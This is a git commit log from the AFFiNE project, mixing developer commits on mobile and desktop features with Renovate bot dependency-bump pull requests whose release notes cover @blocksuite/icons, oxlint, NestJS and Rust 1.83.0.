| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.72` -> `2.1.73`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.72/2.1.73) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.72/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.72/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.73`](https://redirect.github.com/toeverything/icons/compare/6911f7ed84557bcdbb2bb5e87984952e9956036a...ddeb030e72e9867b854dc32288b170d53df151ba)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/6911f7ed84557bcdbb2bb5e87984952e9956036a...ddeb030e72e9867b854dc32288b170d53df151ba)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 06:14:41 +00:00
EYHN 8963826463 feat(core): desktop multiple server support (#8979) 2024-12-03 05:51:09 +00:00
pengx17 af81c95b85 fix(mobile): workaround for tag modal blink (#8985)
workaround for fix AF-1822
2024-12-03 02:08:32 +00:00
pengx17 671885d510 fix(mobile): property input field keyboard mode (#8982) 2024-12-03 01:52:00 +00:00
ZHAO Jin-Xiang 6873a947fa chore: add electronZipDir env which helps to offline build (#8983) 2024-12-02 21:55:45 +08:00
pengx17 31bab2507e feat: enhance markdown preview for backlinks (#8956)
fix AF-1770
fix AF-1771

---

fix: doc link middlewares
feat: markdown renderer
feat: allow multiple backlink for a single doc
feat: showing correct doc ref link
feat: trim long para & ident lists
feat: list indentition fix
feat: database/latext handling
feat: other block types handling
fix: lint
2024-12-02 10:29:44 +00:00
CatsJuice b8467a91b8 fix(mobile): swipe right maybe open menu (#8981) 2024-12-02 09:40:33 +00:00
CatsJuice 4744896031 feat(mobile): a basic swipeable dialog for setting (#8923)
![CleanShot 2024-12-02 at 15.42.42.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/0a6e5700-dd25-4f36-824a-434603e01379.gif)
2024-12-02 08:42:02 +00:00
CatsJuice 9b4cd83a07 feat(mobile): show doc title on title bar when scroll down (#8976) 2024-12-02 06:00:31 +00:00
EYHN 84210dd197 fix(infra): fix fractional indexing edge cases (#8978) 2024-12-02 05:31:07 +00:00
EYHN cee5d02f71 feat(core): add markdown preview for backlinks (#8883) 2024-12-02 03:42:07 +00:00
CatsJuice 11b453f4d8 feat(mobile): swipe to open menu for explorer (#8953)
close AF-1803

- bump theme
- extract `SwipeHelper` and add `speed`, `direction` detection support
- new mobile `SwipeMenu` component
- integrate `SwipeMenu` to open a menu in Explorer
- New `Haptics` module for mobile, implemented in `ios` and `mobile`(`navigator.vibrate()`)

![CleanShot 2024-11-28 at 12.25.14.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/cba36660-f38a-473b-b85c-33540a406835.gif)
2024-12-02 03:27:01 +00:00
CatsJuice b600f2b0a2 fix(mobile): adjust body padding-bottom for app tab (#8944) 2024-12-02 03:11:09 +00:00
CatsJuice 6a71b28a61 feat(mobile): replace search with create in app tab (#8934)
- Remove search on AppTab, replaced with `create doc`
- Always show AppTab for editor page
- Extract `NavigationBack` from `PageHeader`
2024-12-02 02:55:04 +00:00
CatsJuice 5e92d6cfe9 fix(mobile): prevent text selection on webkit (#8967)
close AF-1804
2024-12-02 02:39:01 +00:00
CatsJuice 476ed0ef56 chore(mobile): update explorer add item icon (#8969) 2024-12-02 02:21:59 +00:00
CatsJuice 372dbf5ec8 feat(mobile): move journal date picker into page header (#8968) 2024-12-02 02:05:05 +00:00
renovate 1c9bd204cd chore: bump up @blocksuite/icons version to v2.1.72 (#8970)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.71` -> `2.1.72`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.71/2.1.72) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.71/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.71/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.72`](https://redirect.github.com/toeverything/icons/compare/c3f744f10213655833876de3fa9e211bf21d9f1c...6911f7ed84557bcdbb2bb5e87984952e9956036a)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/c3f744f10213655833876de3fa9e211bf21d9f1c...6911f7ed84557bcdbb2bb5e87984952e9956036a)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-02 01:47:02 +00:00
renovate d9dd07d113 chore: bump up oxlint version to v0.14.0 (#8889)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.13.2` -> `0.14.0`](https://renovatebot.com/diffs/npm/oxlint/0.13.2/0.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.13.2/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.13.2/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.14.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0140---2024-12-01)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.13.2...oxlint_v0.14.0)

##### Features

-   [`32f860d`](https://redirect.github.com/oxc-project/oxc/commit/32f860d) linter: Add support for ignorePatterns property within config file ([#&#8203;7092](https://redirect.github.com/oxc-project/oxc/issues/7092)) (Nicholas Rayburn)

##### Documentation

-   [`a6b0100`](https://redirect.github.com/oxc-project/oxc/commit/a6b0100) linter: Fix config example headings ([#&#8203;7562](https://redirect.github.com/oxc-project/oxc/issues/7562)) (Boshen)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-02 01:29:31 +00:00
renovate c53c0939fa chore: bump up nestjs to v10.4.12 (#8972)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.12)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

##### v10.4.12 (2024-11-29)

##### Bug fixes

-   `common`
    -   [#&#8203;14241](https://redirect.github.com/nestjs/nest/pull/14241) fix(common): enforce string type in validationpipe ([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

##### Dependencies

-   Other
    -   [#&#8203;14243](https://redirect.github.com/nestjs/nest/pull/14243) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.9 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14240](https://redirect.github.com/nestjs/nest/pull/14240) chore(deps): update dependency [@&#8203;types/multer](https://redirect.github.com/types/multer) to v1.4.12 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14239](https://redirect.github.com/nestjs/nest/pull/14239) chore(deps): update dependency [@&#8203;types/chai](https://redirect.github.com/types/chai) to v4.3.20 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14237](https://redirect.github.com/nestjs/nest/pull/14237) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.2 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14236](https://redirect.github.com/nestjs/nest/pull/14236) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.2 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;12253](https://redirect.github.com/nestjs/nest/pull/12253) fix(deps): update apollo graphql packages ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14235](https://redirect.github.com/nestjs/nest/pull/14235) chore(deps-dev): bump [@&#8203;commitlint/config-angular](https://redirect.github.com/commitlint/config-angular) from 19.5.0 to 19.6.0 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
    -   [#&#8203;14233](https://redirect.github.com/nestjs/nest/pull/14233) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14232](https://redirect.github.com/nestjs/nest/pull/14232) fix(deps): update dependency path-to-regexp to v3.3.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14229](https://redirect.github.com/nestjs/nest/pull/14229) chore(deps): update mongo docker tag to v8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14228](https://redirect.github.com/nestjs/nest/pull/14228) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.0 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14227](https://redirect.github.com/nestjs/nest/pull/14227) fix(deps): update nest-graphql monorepo to v12.2.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14224](https://redirect.github.com/nestjs/nest/pull/14224) fix(deps): update dependency sequelize to v6.37.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14230](https://redirect.github.com/nestjs/nest/pull/14230) chore(deps): update mysql docker tag to v9 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14231](https://redirect.github.com/nestjs/nest/pull/14231) fix(deps): update dependency [@&#8203;nestjs/swagger](https://redirect.github.com/nestjs/swagger) to v8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `common`, `core`, `microservices`, `platform-express`, `platform-fastify`, `platform-socket.io`, `platform-ws`, `testing`, `websockets`
    -   [#&#8203;14226](https://redirect.github.com/nestjs/nest/pull/14226) fix(deps): update dependency tslib to v2.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `platform-socket.io`
    -   [#&#8203;14225](https://redirect.github.com/nestjs/nest/pull/14225) fix(deps): update dependency socket.io to v4.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 1

-   Lhon ([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-30 02:35:54 +00:00
renovate b60f24626c chore: bump up rustc version to v1.83.0 (#8962)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.82.0` -> `1.83.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.83.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1830-2024-11-28)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.82.0...1.83.0)

\==========================

<a id="1.83.0-Language"></a>

## Language

-   [Stabilize `&mut`, `*mut`, `&Cell`, and `*const Cell` in const.](https://redirect.github.com/rust-lang/rust/pull/129195)
-   [Allow creating references to statics in `const` initializers.](https://redirect.github.com/rust-lang/rust/pull/129759)
-   [Implement raw lifetimes and labels (`'r#ident`).](https://redirect.github.com/rust-lang/rust/pull/126452)
-   [Define behavior when atomic and non-atomic reads race.](https://redirect.github.com/rust-lang/rust/pull/128778)
-   [Non-exhaustive structs may now be empty.](https://redirect.github.com/rust-lang/rust/pull/128934)
-   [Disallow implicit coercions from places of type `!`](https://redirect.github.com/rust-lang/rust/pull/129392)
-   [`const extern` functions can now be defined for other calling conventions.](https://redirect.github.com/rust-lang/rust/pull/129753)
-   [Stabilize `expr_2021` macro fragment specifier in all editions.](https://redirect.github.com/rust-lang/rust/pull/129972)
-   [The `non_local_definitions` lint now fires on less code and warns by default.](https://redirect.github.com/rust-lang/rust/pull/127117)

<a id="1.83.0-Compiler"></a>

## Compiler

-   [Deprecate unsound `-Csoft-float` flag.](https://redirect.github.com/rust-lang/rust/pull/129897)
-   Add many new tier 3 targets:
    -   [`aarch64_unknown_nto_qnx700`](https://redirect.github.com/rust-lang/rust/pull/127897)
    -   [`arm64e-apple-tvos`](https://redirect.github.com/rust-lang/rust/pull/130614)
    -   [`armv7-rtems-eabihf`](https://redirect.github.com/rust-lang/rust/pull/127021)
    -   [`loongarch64-unknown-linux-ohos`](https://redirect.github.com/rust-lang/rust/pull/130750)
    -   [`riscv32-wrs-vxworks` and `riscv64-wrs-vxworks`](https://redirect.github.com/rust-lang/rust/pull/130549)
    -   [`riscv32{e|em|emc}-unknown-none-elf`](https://redirect.github.com/rust-lang/rust/pull/130555)
    -   [`x86_64-unknown-hurd-gnu`](https://redirect.github.com/rust-lang/rust/pull/128345)
    -   [`x86_64-unknown-trusty`](https://redirect.github.com/rust-lang/rust/pull/130453)

Refer to Rust's \[platform support page]\[platform-support-doc]
for more information on Rust's tiered platform support.

<a id="1.83.0-Libraries"></a>

## Libraries

-   [Implement `PartialEq` for `ExitCode`.](https://redirect.github.com/rust-lang/rust/pull/127633)
-   [Document that `catch_unwind` can deal with foreign exceptions without UB, although the exact behavior is unspecified.](https://redirect.github.com/rust-lang/rust/pull/128321)
-   [Implement `Default` for `HashMap`/`HashSet` iterators that don't already have it.](https://redirect.github.com/rust-lang/rust/pull/128711)
-   [Bump Unicode to version 16.0.0.](https://redirect.github.com/rust-lang/rust/pull/130183)
-   [Change documentation of `ptr::add`/`sub` to not claim equivalence with `offset`.](https://redirect.github.com/rust-lang/rust/pull/130229).

<a id="1.83.0-Stabilized-APIs"></a>

## Stabilized APIs

-   [`BufRead::skip_until`](https://doc.rust-lang.org/stable/std/io/trait.BufRead.html#method.skip_until)
-   [`ControlFlow::break_value`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.break_value)
-   [`ControlFlow::continue_value`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.continue_value)
-   [`ControlFlow::map_break`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.map_break)
-   [`ControlFlow::map_continue`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.map_continue)
-   [`DebugList::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugList.html#method.finish_non_exhaustive)
-   [`DebugMap::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugMap.html#method.finish_non_exhaustive)
-   [`DebugSet::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugSet.html#method.finish_non_exhaustive)
-   [`DebugTuple::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugTuple.html#method.finish_non_exhaustive)
-   [`ErrorKind::ArgumentListTooLong`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ArgumentListTooLong)
-   [`ErrorKind::Deadlock`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.Deadlock)
-   [`ErrorKind::DirectoryNotEmpty`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.DirectoryNotEmpty)
-   [`ErrorKind::ExecutableFileBusy`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ExecutableFileBusy)
-   [`ErrorKind::FileTooLarge`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.FileTooLarge)
-   [`ErrorKind::HostUnreachable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.HostUnreachable)
-   [`ErrorKind::IsADirectory`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.IsADirectory)
-   [`ErrorKind::NetworkDown`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NetworkDown)
-   [`ErrorKind::NetworkUnreachable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NetworkUnreachable)
-   [`ErrorKind::NotADirectory`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NotADirectory)
-   [`ErrorKind::NotSeekable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NotSeekable)
-   [`ErrorKind::ReadOnlyFilesystem`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ReadOnlyFilesystem)
-   [`ErrorKind::ResourceBusy`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ResourceBusy)
-   [`ErrorKind::StaleNetworkFileHandle`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.StaleNetworkFileHandle)
-   [`ErrorKind::StorageFull`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.StorageFull)
-   [`ErrorKind::TooManyLinks`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.TooManyLinks)
-   [`Option::get_or_insert_default`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.get_or_insert_default)
-   [`Waker::data`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.data)
-   [`Waker::new`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.new)
-   [`Waker::vtable`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.vtable)
-   [`char::MIN`](https://doc.rust-lang.org/stable/core/primitive.char.html#associatedconstant.MIN)
-   [`hash_map::Entry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/hash_map/enum.Entry.html#method.insert_entry)
-   [`hash_map::VacantEntry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/hash_map/struct.VacantEntry.html#method.insert_entry)

These APIs are now stable in const contexts:

-   [`Cell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.Cell.html#method.into_inner)
-   [`Duration::as_secs_f32`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.as_secs_f32)
-   [`Duration::as_secs_f64`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.as_secs_f64)
-   [`Duration::div_duration_f32`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.div_duration_f32)
-   [`Duration::div_duration_f64`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.div_duration_f64)
-   [`MaybeUninit::as_mut_ptr`](https://doc.rust-lang.org/stable/core/mem/union.MaybeUninit.html#method.as_mut_ptr)
-   [`NonNull::as_mut`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.as_mut)
-   [`NonNull::copy_from`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_from)
-   [`NonNull::copy_from_nonoverlapping`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_from_nonoverlapping)
